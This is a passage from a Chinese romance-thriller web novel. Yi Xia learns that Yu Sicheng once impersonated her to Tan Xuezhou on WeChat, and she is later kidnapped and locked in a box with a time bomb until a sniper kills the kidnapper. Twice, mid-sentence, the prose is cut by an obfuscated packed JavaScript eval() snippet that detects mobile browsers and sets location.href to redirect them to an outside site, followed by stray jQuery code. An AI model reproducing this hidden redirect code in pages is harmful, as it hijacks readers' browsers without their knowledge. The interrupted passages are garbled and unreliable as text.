谈雪昼沉默片刻,轻声说:“这是我最后一部电影,最后一次冒险。宜夏,我以后不拍了,就不会遇见这些危险了。” 宜夏怔怔看着他:“你……但是你喜欢这件事。你不喜欢了吗?” “我可以,守着你拍。” 宜夏咬了下唇瓣,突然问:“是因为我吗?因为要和我在一起,所以,答应了谈先生什么条件?是为了我吗?” 谈雪昼凝视着她,慢慢笑起来,弯着眼:“不是。是因为,我也有我的责任,不能总是想做什么就做什么。” 宜夏有点鼻酸地“嗯”了一声。 好可惜。 可是真的很可惜。 谈雪昼探过一只手来要替她擦脸,宜夏站起来揉了揉眼眶,闷着声音说:“我去趟卫生间。” 她没进卫生间,而是站在外面天井外侧发呆。 抱着手臂,慢慢想谈雪昼这个人。 这件事。 是挺遗憾的。 但他也有他的立场,每个人都有自己要做的事,有自己应该承担的责任,也是真的。 也许也不一定彻底不拍了。 等到之后,工作上了正轨,可能有机会也会拍一拍想拍的片子。 宜夏心有点乱,转身往回走的时候,肩膀被擦肩而过的人撞了下。 她站定在原地,回头。 撞她的竟然是个熟人。 关馨。 她挽着于思程的手臂,两个人一齐扭过头来看她。 宜夏不想跟这俩人打招呼,面无表情回头往回走。 关馨却在背后喊住了她:“宜夏。” 宜夏扭头,漠然问她:“有什么事吗?” 关馨松开挽着于思程的手臂,疾步走到她面前,温柔说:“以前的事是我对不起你,我跟你道个歉。思程的事,她也知道错了,你就不要计较了,好不好?” 宜夏挺想笑的,问:“我怎么计较了?” “如果不是你,不是雪……思程怎么会连工作都找不到?你就大人有大量,放过她这一次吧。” 宜夏扯了下唇角:“可惜我不是那种大度的人呢。” 关馨脸色立即变得特别难看,好一会儿才平复下来:“思程之前确实对不起你。我也知道,雪昼追过她这件事你心里不好受,但是你们这样为难她,未免也太没风度了吧?” 宜夏:“谈雪昼什么时候追过她,我怎么不知道。” 关馨很可笑:“你男朋友追过其他女生,当然不可能告诉你啊。” 宜夏看了于思程一眼,突然说:“正好谈雪昼现在就在这里,你们先在这里等一等,我去叫他过来,问问他,什么情况。为难前女友确实没有风度了。” 于思程听她这么说,立刻扯了下关馨的衣袖:“算了,馨姐,走吧,跟他们有什么好说。” 宜夏叫住她:“站住。” 这时,一股熟悉的冷雨打过树叶的冷香拂来。 谈雪昼的影子从背后赶来,覆盖了她的影子。他在背后皱着眉问:“怎么了?” 宜夏拽住他手腕。 他看见了站在对面的两个女人。 一个是他相过亲的对象,一个是他亲生父亲第二任妻子的女儿,都算有点关系,只是都不大熟。他以为是宜夏被为难了,揽住她的肩膀,淡淡问:“有事吗?” 对面于思程的脸色有点不好看。关馨要说什么,于思程拽住她:“没事,不好意思,我们先走了。” 宜夏立刻出声:“站住!” 她从谈雪昼的手臂下挣脱出去,看着他,慢慢开口:“于思程说你曾经追过她一段时间。不是相亲的时候,是相亲之前。说你因为这段关系为难他,有这么回事吗?” 谈雪昼简直有些莫名,看向于思程:“有吗?什么时候?” 于思程脸色惨白,死死咬着唇瓣没吭声。 关馨却替她开口:“不就是当初《强制报告》拿奖之后吗?你不就是因为她拿奖了对她有好感要追她吗?微信聊天都还有,你凭什么装不认识她?” 于思程别过脸飞快说:“别说了,馨姐我们走吧……” 谈雪昼的脸色却突然变得很难看。 他盯着关馨:“你再说一遍。” 关馨越过于思程的手臂,上前一步:“雪昼哥,你这样做,为难一个没追上的姑娘,太没用风度了。” 谈雪昼看向于思程:“我什么时候,追过你?微信聊天又是怎么回事?” 于思程盯着他,没吭声,突然转身直接往外跑开。 关馨上前追她,两个人的身影立刻消失在了走廊拐角。 留下宜夏和谈雪昼两个人站在原地。 互相对视,宜夏却发现他的表情越来越难看,他深呼吸,问:“原来不是你?” 宜夏愣住了。 她已经被搞得一头雾水了,这到底什么情况。 谈雪昼压着她两个肩膀:“《强制报告》拿奖那次金芙蓉电影节的颁奖典礼之后,你有没有收到我的好友申请?” 宜夏懵了:“什、什么?” 那一次电影节,是什么情况? 宜夏有印象,印象里那好像是她第一次看见谈雪昼,看见他被许多人众星捧月,站在人群最中心的焦点处,居高临下倨傲散漫的脸孔。 ……可是。 那一次电影节,明明属于她的《强制报告》获奖,却是于思程领奖,她情绪不太好,半途就离场了。 跟众星捧月的他没有任何交集。 谈雪昼表情变了几变,最后松开压着她的手:“原来是这样。” 宜夏拼凑不了具体的事实,只能等他自己说出来。 在回去的车上,他才终于平复好了情绪,不怎么带感情地把整件事解释了一遍。 - 因为意外,谈雪昼错过了《汀兰冬日》得奖那次电影节,也就没能在电影节上见到宜夏。 之后又因为谈默生住院耽误,等到再能腾出空来,尝试找人介绍跟宜夏联系时,她已经有了男朋友。 舒润。 阴差阳错。 可能是本来就没有缘分,他接近死心了。 家里替他介绍女友,让他相亲,他也尝试去过,却都只是淡淡。 直到那一次,《心声直播》拿到了金芙蓉的技术奖提名,他决定给电影节组委会一个面子,去参加一下颁奖典礼。 就是在颁奖典礼上,他终于见到了她。 她没拿到奖项,表情淡淡。 她的男朋友舒润倒是因为《强制报告》拿了个奖,春风得意。 颁奖典礼结束后是酒会。谈雪昼虽然在电影节上斩获不多,但依然是所有人趋之若鹜想要拉拢巴结的中心,被很多人围住交际。 在人群的中心,他不由自主地寻找她的方向。 却发现她没和她刚拿奖的男友在一起。 她的男友这次走红毯邀请的是电影的女主角做女伴,这会儿也是手挽着手全场交际。 而她则站在光线昏暗的阴影处,表情漠然。 ……他们是闹别扭了? 要分手了吗? 谈雪昼的思想不受控制地直接跳到,他们可能掰了要分手这个联想上来。 随即立即转进到,那是不是该轮到他了。 虽然很唐突,但那天晚上酒会结束,他就找人要了她的微信,加到了她。 - 车在路边缓缓停下,宜夏接过他的手机,默不作声翻开微信。 直接在通讯录里搜索“宜夏”。 她搜到了两个账号。 一个是她。 还有一个,是…… 宜夏眼睛睁大,是于思程之前用的微信头像。 只是点进去,发现账号已经注销了。 一个不可思议的想法攫住了她的头脑,她问:“所以,你加到了其他人,加错了,加成了于思程,没有加到我?” 谈雪昼胸口起伏,握紧了方向盘,表情很冷。 宜夏又问他:“还是说,你加到了于思程之后,她跟你说,是我?” 注销的账号已经看不到过去的聊天记录。 但谈雪昼保存了截图。 他从相册里翻出截图,把手机丢给宜夏看。 【对方同意了你的好友申请,你们已经是好友了,可以开始聊天了】 谈雪昼: 【你好,我是谈雪昼。】 对面的“宜夏”: 【你好呀~】 【谈导我特别喜欢你的电影,没想到你居然会加我好友,有什么事情吗~】 谈雪昼隔了好一会儿才回: 【没有,只是想加一下你。】 宜夏甚至能从这些截图聊天里看出,当时谈雪昼的忐忑心情。 对面的“宜夏”很可爱地回了两个表情包,又说: 【我最近看了《心声直播》,特别有意思的一部电影!】 谈雪昼也回她: 【《汀兰冬日》也不错】 对面很久没说话。 过了一会儿,试探说: 【《汀兰冬日》还是有不少缺陷的。谈老师有没有看《强制报告》?我觉得这部电影不错,编剧也挺厉害的。】 谈雪昼: 【是不错。】 【不过你也不差。】 …… 宜夏看到这里,已经彻底明白了过来。 是于思程看出来谈雪昼加错人了,却故意没有拆穿,而是刻意地假装演了下去。 后面跟着十多张聊天截图。 聊得不多,聊天记录停留在一个下午。 “宜夏”跟谈雪昼约定了去一家餐厅吃饭,“宜夏”说: 【谈老师,我有件事想告诉你,你知道了之后不要生气。】 谈雪昼问: 【什么事?】 “宜夏”: 【我们当面说吧。】 “宜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14340830|141728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夏”发来定好的餐厅地址。 过了两个小时,是谈雪昼发过去信息: 【堵车了,我要迟十分钟。】 【你在餐厅里面吗?】 【宜夏?你在里面吗?】 【你别吓我】 【我进去找你,别怕】 聊天记录停在了这一行。 宜夏没看明白最后到底是发生了什么事。 谈雪昼拿过他的手机,把头偏向一旁,手掌攥紧了方向盘,手背上的青筋绽出。 用尽全力才能克制住此时此刻的情绪。 宜夏抓住他冰冷的手掌,不安问:“餐厅……那个餐厅发生了什么事吗?” “没有发生什么。” 随后他启动了车。 宜夏越想越不对。 突然,电光石火之间,一个奇怪的念头降临了——他们刚认识的时候,他一直觉得她认识他,故意忘记他,该不会是因为这一段阴差阳错的误会吧? 那,餐厅又是怎么回事?那个餐厅发生了什么? 宜夏突然失声叫出来:“停车!” 谈雪昼急刹把车刹停。 宜夏唇瓣有些抖,问他:“你们约好去那个餐厅,结果那个餐厅发生了火灾。你以为我在里面,你冲进去救我,结果眼睛被火熏坏了。是这样吗?” 谈雪昼默不作声地盯着远处,表情特别难看。 宜夏简直不知道该说什么。 她脑子很乱,胸口郁结着一团火,突然打开车门下车。 上了人行道,漫无目的朝前走,几分钟后,手臂被身后追上来的人扯住。她被他拉进怀里,紧紧抱住。 宜夏脑袋埋在他胸口,一点眼泪突然涌了出来,沾湿了他胸口的布料:“怎么是这样……” 抱了好一会儿才松开,谈雪昼声音很闷:“我以为那是你。但是后面我眼睛有一段时间看不见,你一次都没来看过我。再后来,在清塘岛再见面,你甚至不认识我。我就想,你怎么会这么没心没肺,一次两次地忘记我。对我也太过分了,真的太过分了,宜夏。” 宜夏声音有点哽:“对不起……” “但我现在知道了,原来那不是你。是我怪错人了,是我要说对不起。” “不是……”宜夏鼻酸了。 在他的视角里,她做了那么多错事,伤害了他那么多遍。 一次两次,但每一次,他都原谅了她。 这世界上怎么能有这种人。 宜夏简直无法面对这件事。 她隔开谈雪昼的怀抱,盯着地面:“你让我冷静一下,谈雪昼,我现在,真的有点乱。” 谈雪昼苦笑:“乱的应该是我。” 怎么会这么多次阴差阳错。 “上车,回去吧。” 回到嘉华汇之后,两个人都没多说什么,也很默契地没睡一间卧室。 第二天宜夏早晨起来的时候,谈雪昼人已经出门了。 宜夏心里很闷。 昨晚想了一整晚,这件事简直令她感觉不可思议。 突然想起,她刚跟他缓和关系那段时间。一起进山,遇见大雨,他背她出来,她问他,能不能对她态度好一点。 后面在那个废弃的小木屋里,他答应了她。 当时他说的是什么?是,“没关系了,我答应你”。 在他的视角里。 她一次两次地忘记他,把他丢下,丢在九岁的医院里,丢在十八岁的企鹅玩偶服里,丢在二十七岁的火场和医院里。 他说,“没关系”。 那时候就说了没关系。 宜夏心有些酸涩,舌尖发苦。 突然特别想去找他,想看见他。 她拿了钥匙就急匆匆下楼出门。 从电梯出来时,撞见穿着安全员制服的电梯修理工准备检查修理电梯,脸很生,她跟人点了点头。 修理工拦住她,很礼貌问:“小姐,我想请问一下最近这一段时间,电梯运行得还平稳吗?” 宜夏想了想:“挺好。” “小姐,我们之后基本每个月检修保养一次,保证不再出电梯故障问题。”穿着制服的修理工长相温和,声音平静,文质彬彬的样子,看起来倒挺像学者。 宜夏跟人点了个头,急匆匆说了声“谢谢”,往停车位方向走。 那个修理工却追了上来,挤在她后面轻言细语:“小姐,我想请问一下你能帮我个忙吗?就是我们还需要做一下跟电梯乘坐体验相关的调查……” 宜夏扭过头看他,心莫名提起,有点毛毛的,立刻快走两步拒绝。 下一秒,她的口鼻突然被身后的人紧紧捂住。一阵充满刺激性的化学气味冲入鼻腔,宜夏眼前霎时一黑,软倒在地。 - 醒来的时候,宜夏头痛欲裂,一睁眼,却什么都没看见。 眼前一片漆黑。 她手脚被捆绑着,两个手腕被严严实实地捆在背后,腿的膝盖和脚腕也被麻绳结实捆住,整个人只能蜷成一团。背后靠着的不知道是什么东西,她用后脑使劲一顶,似乎是木头。 她好像是被关在一个箱子里。 是一个特别狭窄的小箱子,顶上开了个用来透气的口,一束格外微弱的光线从外面射进来。 ——现在好像是白天。 宜夏呼吸不畅,靠着箱壁缓了缓,才尝试叫人:“有人吗?” 声音很哑,很低。 “有没有人?” “我们可以谈条件,我有钱——” 箱子突然被人从外面踹了一脚。 一道低沉的男声传来:“闭嘴。” 宜夏被踹得朝旁边一歪,用脑袋顶正了,努力镇定下来,肩膀抵着箱子沉声问:“你是什么人?你想做什么?” 外面的人只有一声冷笑。 宜夏脑子昏沉,又很乱。 她没得罪什么人吧,外面的人听起来也不像于璟的声音……于璟如果敢从英国回来,第一时间应该会被海关发现逮捕。 所以会是什么人? 电梯…… 是那个电梯修理工吗? 宜夏努力提起声音:“你想要钱吗,我可以给你……” “我想要你们的命。” 宜夏霎时静音。 脑子却疯狂地转了起来。“你们”,指的是谁?除了她,……难道是谈雪昼吗? 是那个…… 辛漪的粉丝吗? 宜夏努力调整情绪,尝试说:“我跟你无冤无仇,我应该不认识你……” “我说了,我要你们的命。” “为什么?” “因为这是你们欠她的。” 宜夏闭了下眼睛。 箱子里的氧气稀薄,她只能努力顶起身体,朝那个狭小的气孔凑去。手上的麻绳粗糙而结实,怎么都无法挣脱。她也不敢弄出大动静让外面的人发现,只能想尽办法用指甲去抠绳子的纹理。 这种时候,不能恐惧,不能慌乱。 要镇定。 起码跟外面的人套两句话。 宜夏努力镇定下来,慢慢地说:“我跟辛漪从来没有接触过。” 外面的人一听见这个名字,情绪就有些失控,又是一脚踹在了箱子上。箱子直接被踹倒,里面宜夏也跟着倒下去,脑袋重重磕在了板子上,几乎是歪躺在箱子里,闷哼一声。 箱子角落的一个什么东西跟着被踹倒,滚到了她肩膀旁边。 耳朵里传来那个东西滴滴的声音。 宜夏扫了一眼。 顿时头皮发紧,全身汗毛立刻炸了起来,大脑一片空白—— 那好像是一颗定时炸弹。 94. 想把你比作春日 宜夏咬着牙,努力开口:“我不认识辛漪,跟她也没有任何交集,你这样是伤害无辜的人,辛漪也一定不愿意看到这种场面。” 外面是死寂一般的安静。 片刻后,传来男人的脚步声,绕着箱子外转了一圈,冷笑:“你无不无辜,可以去天上,找她说清楚。” “我其实也很喜欢辛漪。”宜夏闭着眼睛,努力平复呼吸。她还是歪倒在箱子里的姿势,脖子扭曲,几乎呼吸不过来,但仍然维持着声音的平静,“我做过编剧。你有没有看过我的电影?《兰花开》,其实我当时特别想邀请她参演。” 外面的脚步声突然停了。 片刻后,对方冷冷问:“真的?” “真的。如果你看过,就会知道,女主角辛岚,就是专门为辛漪写的角色。我很喜欢她。但是当时,机会不太好,没有成功合作。” “真的?” “你可以看一下。”宜夏轻声说。 外面过了片刻,传来一阵电影的音乐声。 宜夏有些惊愕。 这个人没有断网。 他连接着网络,这意味着,如果报警,警方能够通过信号追查到这里。 ……关键是,有人报警吗? 谈雪昼发现她失踪了吗? 她大脑一片混乱,听见外面的电影声突然停了。 外面的人声音冰冷:“你喜欢她,那你也有罪。你为什么不保护她?为什么不跟她合作,不把这个角色给她?” 宜夏:“……” 她只能沉默。 呼吸越来越稀薄,几近缺氧。她努力朝气孔蹭过去,耳边的滴滴声一直不停,令她头皮一直紧绷着。她不知道炸弹什么时候会炸,不知道氧气什么时候会耗尽,不知道外面这个人究竟想做什么,她只知道……自救。 根本做不到。 根本没有办法。 怎么办。 怎么办。 死寂一般的安静。 耳边炸弹的滴滴声令人恐慌到几乎作呕。 宜夏强行让自己镇定下来,还有什么方法自救……怎么办。怎么办。 她突然说:“你见到过辛漪的遗书吗?” 外面的人似乎是用脚掌蹭了下地面,凑到了箱子旁边,声音低沉:“什么?” 宜夏说:“我见到过。她妈妈给我看过。” “写了什么?” 宜夏说:“我在里面头晕,想不起来,你把我放出来,我帮你默写。” 外面沉默一阵。 又踹了箱子一脚,冷笑:“你以为我是弱智吗?” 宜夏闭了闭眼,开始背那封遗书的开头。背了两句,她喘不上气了,闭嘴了。 外面的人顿了片刻:“继续背啊!” “我呼吸不上来。” 宜夏是歪倒在箱子里的姿势。那个气孔就在她鼻端。她话音一落,鼻尖突然伸进来一把匕首,差点刺中她的鼻子。她后颈发毛,惊恐地往后贴。那柄匕首在气孔处转了两圈,把那个孔钻大了几分,又抽了出去。 外面的人一只手压在箱子上:“继续背,不然你就死在这里。” 也许是性命攸关,宜夏爆发出了本不该有的记忆和潜能,努力一句一句背着遗书上的内容。第一段的结尾,辛漪写,不希望所有人受伤害,希望所有人都能幸福。 背完她沉默了片刻,哑着嗓子问:“你不听辛漪的话吗?” 外面的人完全有自己的一套逻辑,冷冰冰说:“她希望所有人都幸福,是希望对她好的人。对她不好的人,我一个都不会放过。” “……可是我根本不认识她!” “但是你的男朋友认识她,都是他害死了她。”外面的人声音幽幽,“没关系,我会送你们一起去见她的。” 宜夏努力呼吸。 外面的人用匕首敲着箱子,幽幽说:“你说,被关在箱子里滋味好不好受?漪漪被那些狗东西关起来的时候在想什么?” 宜夏闭上了嘴。 不可能通过谈判跟外面的人沟通,她必须想别的办法…… 炸弹…… 绳索…… 不行,什么办法都没有。 外面的人又说:“别害怕,你男朋友马上也要来了。” 宜夏厉声问:“你要干什么?” “我让他不要报警,否则,炸弹什么时候炸我可控制不了。” 宜夏心乱如麻,勉强维持着呼吸,刚要开口,外面的人又说话了,声音很轻:“他来了呢。” 宜夏什么都看不见。 气孔依然狭小,她只能透过那个孔隐约看见外面那个男人擦过去的黑色衣角。有一阵脚步声从远处传来,通过脚步声的音质,宜夏大概可以判断,外面似乎是一间有些空旷的仓库,脚步声可以传出去很远。 她听见了熟悉的声音。 “她在哪里?” 随后是外面那个男人阴沉的声音:“果然来了。” 宜夏立刻用头撞箱子,撞出一阵微弱的动静。外面的谈雪昼应该是注意到了这动静,立刻又是两步脚步声,但那个男人扶着箱子,冷冷说:“站住。” 片刻后,又说:“这里面有炸弹。再接近,我不确定什么时候炸了。” 外面是一阵僵持,没有动静。 扶着箱子的男人说:“把你身上的武器都丢掉。刀,还有枪。” 谈雪昼声音绷着:“我没有。” “看来你是不在乎你女朋友的性命。” 一阵哐当的金属触地声。 似乎是随身携带的武器被丢到地上的声音。 那个男人又说:“把手举起来。不许动。你女朋友现在就在这个箱子里,我给你两个选择。” 谈雪昼没出声。 宜夏呼吸不畅,努力用后脑磕着箱子,声音干哑:“谈雪昼!不要听他的!” 外面那个男人踹了箱子一脚。 宜夏脑袋再一次重重撞上了箱子,沉闷的一声。 外面那男人说:“一个选择就是,你再接近一步,我就引爆炸弹。砰。” 顿了下,“另一个选择就是,你自己进这个箱子里,换你女朋友出去。你可以选了。” 宜夏尖叫出来了:“不行!” 然而外面谈雪昼沉默两秒,已经出声。 “我选第二种。” “可以。”外面那个男人突然厉声说,“站住!不准靠近这里!” 谈雪昼的脚步声停住。 外面的男人说:“看见你背后那张桌子了吗?上面是麻醉针,给自己大腿打一针,我才能信得过你。” 谈雪昼说:“如果我打了,你不放她出来怎么办?” “那你不也,只能接受吗?” 宜夏恐惧得几乎说不出话,带着哭腔:“谈雪昼!不行!” 外面沉默片刻,传来一阵脚步声。 宜夏不知道外面在发生什么。 片刻后。 宜夏听见了外面一声闷哼。 那男人厉声说:“老实点!全都打进去!” 随后是一阵凌乱的窸窣声。似乎是……似乎是谈雪昼被绑起来了。 紧接着,关住她的这个狭小的箱子,盖子突然被撬开。男人格外粗暴地把她从里面扯了出来,一把丢在外面。她终于能看清外面到底发生了什么——谈雪昼自己打了一针麻醉,垂着脑袋倒在不远处,头发凌乱,脸颊通红,双手被紧紧绑住。 他大睁着眼睛看着宜夏,冲她微微摇头。 口型是,不要怕。 宜夏几乎要忍不住眼泪了。 那个男人用匕首拍了拍宜夏的脸颊:“真是一对感情深厚的亡命鸳鸯。” 他很愉快的声音:“谈导,自己进这个箱子吧。” 宜夏双眸含泪,拼命朝他摇头:“不要……谈雪昼,不行……” 不行。 他怕黑。 里面还有炸弹。 不行的。 谈雪昼微微摇了摇头,目光很安抚,慢慢地,一步一挪,挪到了那个箱子附近。 腿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14346401|141728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弯突然被身后的人狠狠踹了一脚,谈雪昼没站稳,直接扑倒在地,脸颊就倒在她面前。宜夏只能发出哀恸的悲鸣:“不——” 他嘴唇动了动,从喉咙里挤出一个词:“Lafenêtre.” 背后那个男人注意到了他的声音,直接踹了他一脚:“老实点!进去!” 宜夏眼眸含泪,只能眼睁睁看着谈雪昼主动进了那个箱子里。 绑匪甚至还把炸弹从里面取出来,仔细绑在了谈雪昼身上。又用锤子把箱子盖紧紧钉住。 箱子盖子合上,宜夏看不见他了,仰起头面对绑匪,面对辛漪的极端粉丝,带着哭腔:“你不要关他,我可以的,你关我——” 绑匪居高临下看着她,也是一脚踹在她腿上:“你也给我老实点。” 宜夏接近崩溃地问他:“你到底要干什么?你要让我们死的话,为什么不直接杀了我们,为什么要这样?” “没错,我就是想折磨你们。”绑匪声音阴沉,“那次电梯事故居然没弄死你男朋友,真是算他走运。”说着,绑匪又踹了箱子一脚。 里面谈雪昼发出一声闷哼。 那个箱子本身就格外狭小,宜夏被关进去都几乎挤不下,谈雪昼身高腿长,不知道怎么蜷缩进去的。地方小,空气稀薄,估计没多久就会缺氧。 而且还是一片漆黑。 宜夏痛得要命,接近无法思考,但还是努力拼尽全力地想…… 谈雪昼倒下的时候说的那个词,那个法语词是什么意思…… 《窗台》。 好像是窗台。 意思是,要她引着这个绑匪走到窗边吗? 是……是外面有狙击手吗? 宜夏死死咬着唇瓣,看向绑匪:“你帮我把手上绳子解开,我可以帮你把辛漪的遗书写出来。” 那个绑匪居高临下看了她一眼。 打量片刻,也许是感觉她实在没什么武力,竟然扯着嘴唇笑了下,帮她把手上的绳子解了。宜夏立刻想要用手肘撞他,他却直接一把掐住宜夏的脖子:“你男朋友还被关在里面呢,小心点炸弹,你撞到我,我就不知道什么时候引爆了。” 宜夏整个人都软了,瞳孔涣散,空白片刻,默不作声地往窗边有光的地方挪。 挪到窗下,她朝他伸手,声音像是认命了:“给我纸吧。” 男人不知道从哪里拿来了一叠纸。 但他没走到窗边,而是直接远远把纸丢给了她。 宜夏呼吸不畅。握着笔,慢慢地,一个字一个字地写那份遗书的内容。 写着写着,她动了动嘴唇,开始念起中间一段。 念着念着,声音又低了下去,直至绑匪听不见。 绑匪终于忍不住,走过来试图看她纸上的内容。 ——就在他的脑袋出现在窗口的那一秒,一颗子弹凌空而来,击破玻璃,直接射进了他的脑袋。鲜血迸射,脑浆四溅,一个活人怒目圆睁目眦欲裂,就倒在了宜夏面前。 宜夏惊恐得说不出话,甚至连尖叫声都无法发出。 下一秒,箱子里突然传来极其尖锐的“滴滴”声—— 炸弹! 定时炸弹! 宜夏脚还被绑着,她飞快扑过去,在满地的鲜血中夺过绑匪丢在地上的匕首割脚上的绳子。手上动作不利索,割得鲜血淋漓,但终于割断了绳子。她要扑过去撬箱子时,里面的谈雪昼才出声,声音非常平静:“宜夏,你走开。” 宜夏直接扑到箱子上拼命撬箱子盖。 谈雪昼沉闷的声音从里面传来,掺杂着尖锐的炸弹倒计时滴滴声:“宜夏,走!” 宜夏大脑高度紧张,已经失声,只知道不停地拼命地撬那个箱子。 她甚至都听不见谈雪昼的声音。 其实只有短短三十秒,却漫长得好像是一辈子。箱子盖终于被撬开那一瞬间,谈雪昼从里面扑出来,径直把外面的宜夏扑倒在地,护在身下。 砰的一声。 炸弹就在仅仅距离两人不到两米的位置爆炸了。